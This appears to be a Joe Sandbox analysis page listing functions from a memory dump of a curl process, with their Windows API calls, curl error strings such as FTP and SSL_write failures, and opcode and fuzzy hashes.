Function 0098F0B0 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,00000000,00989016,00000000,009893E0), ref: 0098F0C0
LeaveCriticalSection.KERNEL32(?,?,?,00000000,00989016,00000000), ref: 0098F0D3
CloseHandle.KERNEL32(?,?,?,00000000,00989016,00000000), ref: 0098F0DF
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,00000000,00989016,00000000), ref: 0098F0F2
CloseHandle.KERNEL32(?,?,?,00000000,00989016,00000000), ref: 0098F0FA

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeaveObjectSingleWait
String ID:
API String ID: 607221738-0
Opcode ID: 3da55da86a46ca8a1a56510e2dd018032897b4319301e3c6ff202a568276edbe
Instruction ID: 017b91e82e5bce060f7ec7a6402c2fab34c1f7f174852fbf383ad73d8f448749
Opcode Fuzzy Hash: 3da55da86a46ca8a1a56510e2dd018032897b4319301e3c6ff202a568276edbe
Instruction Fuzzy Hash: 0B015E71104211EFDF20AF94EC98B16BBB8FF01361F144168E906DA2A5CB71E965CBA5

Function 0098F4C0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

getaddrinfo() failed for %s:%d; %s, xrefs: 0098F652
init_resolve_thread() failed for %s; %s, xrefs: 0098F615

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: getaddrinfo() failed for %s:%d; %s$init_resolve_thread() failed for %s; %s
API String ID: 0-1389973398
Opcode ID: 8ab30f5b8ab860473a9985c289582a41e9aa50836934e4d6407e3a88e61bb1b7
Instruction ID: 853af9f67afdf85713fcbafe3ecbfb7d5cc59ad1b11603f63eb17b02a53bb500
Opcode Fuzzy Hash: 8ab30f5b8ab860473a9985c289582a41e9aa50836934e4d6407e3a88e61bb1b7
Instruction Fuzzy Hash: 59419E756043049BCB00EF24D952ABEB7E9AFC8714F404A2AF84A97351EF74D915C792

Function 009AC460 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 146COMMON

Download Yara Rule

Strings

We got a 421 - timeout!, xrefs: 009AC58C
FTP response timeout, xrefs: 009AC5E9
FTP response aborted due to select/poll error: %d, xrefs: 009AC5CB

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID: FTP response aborted due to select/poll error: %d$FTP response timeout$We got a 421 - timeout!
API String ID: 0-2064316097
Opcode ID: 6d1040366a094119eb4ad58c3c93e2f6e48931ecaa563dc240c31e36594e5b28
Instruction ID: 172b89dce5e04663344aedc059dcce63289931e807394dbf25e5b0b101ba8d99
Opcode Fuzzy Hash: 6d1040366a094119eb4ad58c3c93e2f6e48931ecaa563dc240c31e36594e5b28
Instruction Fuzzy Hash: E041E4B1A083019FD714DF19D8406AAB3E5FBC9324F048A39F9588B391EB35D9448B92

Function 009A8280 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

recvfrom.WS2_32(?,?,?,00000000,?,00000080), ref: 009A82CA

Strings

Received too short packet, xrefs: 009A830C
%s, xrefs: 009A83FF
Internal error: Unexpected packet, xrefs: 009A8429

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: recvfrom
String ID: %s$Internal error: Unexpected packet$Received too short packet
API String ID: 846543921-1418437813
Opcode ID: 6a7099ed83474831687f9a49c2d5c2f0ce152c6c72c4645845a7ce848422eaad
Instruction ID: 7190523dbbc94ef3c68190615ed0c2e98bbc9a19056dd4560c42674b578b6f1f
Opcode Fuzzy Hash: 6a7099ed83474831687f9a49c2d5c2f0ce152c6c72c4645845a7ce848422eaad
Instruction Fuzzy Hash: B641D4706042019FD754DF24C841BBBB7E5FF86704F04852EE49AC7292EF39E9099B91

Function 00995510 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 78networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 009955A3

Strings

SSL_write() returned SYSCALL, errno = %d, xrefs: 009955AA
SSL_write() error: %s, xrefs: 009955DE
SSL_write() return error %d, xrefs: 009955FA

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: SSL_write() error: %s$SSL_write() return error %d$SSL_write() returned SYSCALL, errno = %d
API String ID: 1452528299-1841518057
Opcode ID: cc41673fa5191660da5d434a7b556d205b73d47a30ecffc011f1809ba87cda3a
Instruction ID: 98bd953507b9a0bc34b0f8f4e1729ca0ec64430a216e17ded221d2746f4795ce
Opcode Fuzzy Hash: cc41673fa5191660da5d434a7b556d205b73d47a30ecffc011f1809ba87cda3a
Instruction Fuzzy Hash: AF21F671914600DBDB20AB38DD51BABB3E9FF84310F414A29F46AC72E2EF75A5048B52

Function 009B5050 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000002,?), ref: 009B506E
WSACleanup.WS2_32 ref: 009B5089

Strings

insufficient winsock version to support telnet, xrefs: 009B50B6
WSAStartup failed (%d), xrefs: 009B5079

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: CleanupStartup
String ID: WSAStartup failed (%d)$insufficient winsock version to support telnet
API String ID: 915672949-1763879679
Opcode ID: 01b1115b1c7b8bdf421c054247c70473d72efc90a4a998ef1b2ca3e4d663362c
Instruction ID: 1084ff24cd87cfa8cb581cd95ecb888cdd244f9c2fdb1337b684b5b53cd0e4f5
Opcode Fuzzy Hash: 01b1115b1c7b8bdf421c054247c70473d72efc90a4a998ef1b2ca3e4d663362c
Instruction Fuzzy Hash: 17F0A9756056045BE620B724ED43BFB7399AF56314F814419F88E92382FA65590186D3

Function 009B5310 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000003,00000000), ref: 009B533A
WSAGetLastError.WS2_32 ref: 009B5344

Strings

Sending data failed (%d), xrefs: 009B534B
SENT, xrefs: 009B535F

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: SENT$Sending data failed (%d)
API String ID: 1802528911-3459338696
Opcode ID: 73c8758edaa3ef5d09de049cfc8cf407c24886c2c8d3cea890eed874886ae1cb
Instruction ID: ff4070e4c56c9fd8f2cabf62f4bb23e8a233b8f2da9d46ad07d2fbf241ab3a56
Opcode Fuzzy Hash: 73c8758edaa3ef5d09de049cfc8cf407c24886c2c8d3cea890eed874886ae1cb
Instruction Fuzzy Hash: 85F0F0B5249201ABC211DB68AD45F6BBBE8DBD8720F18091CF585D3382D221890987B3

Function 00A740F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00A74137,?,?,00A6FDBD,000000FF,0000001E,00000000,00000000,00000000,?,00A7913C), ref: 00A74107
GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00A74119

Strings

CorExitProcess, xrefs: 00A74111
mscoree.dll, xrefs: 00A74100

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: b3cef5eb23b5e456feffc84eb694d93b98c53fe3381f773f9e967b1932a3ebae
Instruction ID: f6c8575061ff6add8e8e264b46a6a91565f68056f178d0a9a542b963c0d85729
Opcode Fuzzy Hash: b3cef5eb23b5e456feffc84eb694d93b98c53fe3381f773f9e967b1932a3ebae
Instruction Fuzzy Hash: 7ED01230380208BBDB10BBA1DC05F597BACEB14742F408265B909D44D0DB61DA119765

Function 00A74FD3 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

SetConsoleMode.KERNEL32(?), ref: 00A7508A

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: de94045d3ae97e465c430073811c365af5d8c9aa453a2798015efbb24f5cde56
Instruction ID: cf27aaf639cc80a3e658fd61be6858c4396c486b958b5d5f73c64b4a6fd3c86e
Opcode Fuzzy Hash: de94045d3ae97e465c430073811c365af5d8c9aa453a2798015efbb24f5cde56
Instruction Fuzzy Hash: 63218E31D005159FCB20DBF4EC90ABE77B8AB05320F14C22AEA06961A2D7719D03DBE1

Function 0099EBB0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 218COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 0099EBF2

Strings

Can't get the size of %s, xrefs: 0099ED1A
Can't open %s for writing, xrefs: 0099ECA1

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 1927824332-3544860555
Opcode ID: 76464f253d0fe373ba89d6122d17c2e248df3eba483eeb248af9b38e921bbbb1
Instruction ID: 4edfb4a599bf4e722a8f9350756fb4885267b131e78d8c1868eeb8541b930e27
Opcode Fuzzy Hash: 76464f253d0fe373ba89d6122d17c2e248df3eba483eeb248af9b38e921bbbb1
Instruction Fuzzy Hash: 557180757047009FDB14DF28DC81B6BB7E5BF98304F05892EF59E87281EB36A9048B46

Function 009BC1F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151COMMON

Download Yara Rule

Strings

server response timeout, xrefs: 009BC225
select/poll error, xrefs: 009BC324

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: select/poll error$server response timeout
API String ID: 1927824332-3916793193
Opcode ID: ffff326d93c37644678509e76b47cf3af848b28a3591d4dfd905dd3861ea6b3a
